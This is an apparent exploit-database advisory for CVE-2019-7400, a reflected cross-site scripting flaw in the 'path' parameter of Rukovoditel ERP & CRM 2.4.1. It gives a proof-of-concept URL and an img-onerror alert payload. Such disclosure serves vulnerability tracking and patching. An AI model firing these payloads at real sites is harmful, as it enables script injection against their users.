Rukovoditel ERP & CRM 2.4.1 - 'path' Cross-Site Scripting

2019-03-26 15:05:32

# Exploit Title: Rukovoditel ERP & CRM 2.4.1 - 'path' Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2019-03-24
# Google Dork: N/A
# Vendor: Rukovoditel
# Software Link: https://sourceforge.net/projects/rukovoditel/
# Affected Version: 2.4.1 and possibly before
# Patched Version: patched in extension version 2.4.1
# Category: Web Application
# Platform: Windows
# Tested on: Win10x64 & Kali Linux
# CVE: 2019-7400
# References:
# https://hackpuntes.com/cve-2019-7400-rukovoditel-erp-crm-2-4-1-cross-site-scripting-reflejado/

# 1. Technical Description:
# path parameter is vulnerable to Reflected Cross-Site Scripting (XSS) attacks
# through a GET request in index.php resource.

# 2. Proof Of Concept (PoC):
# http://localhost/index.php?module=items/items&path=">

# 3. Payload
# "><img src=a onerror=alert("VULNERABLE")>

Fixes

No fixes

In order to submit a new fix you need to be registered.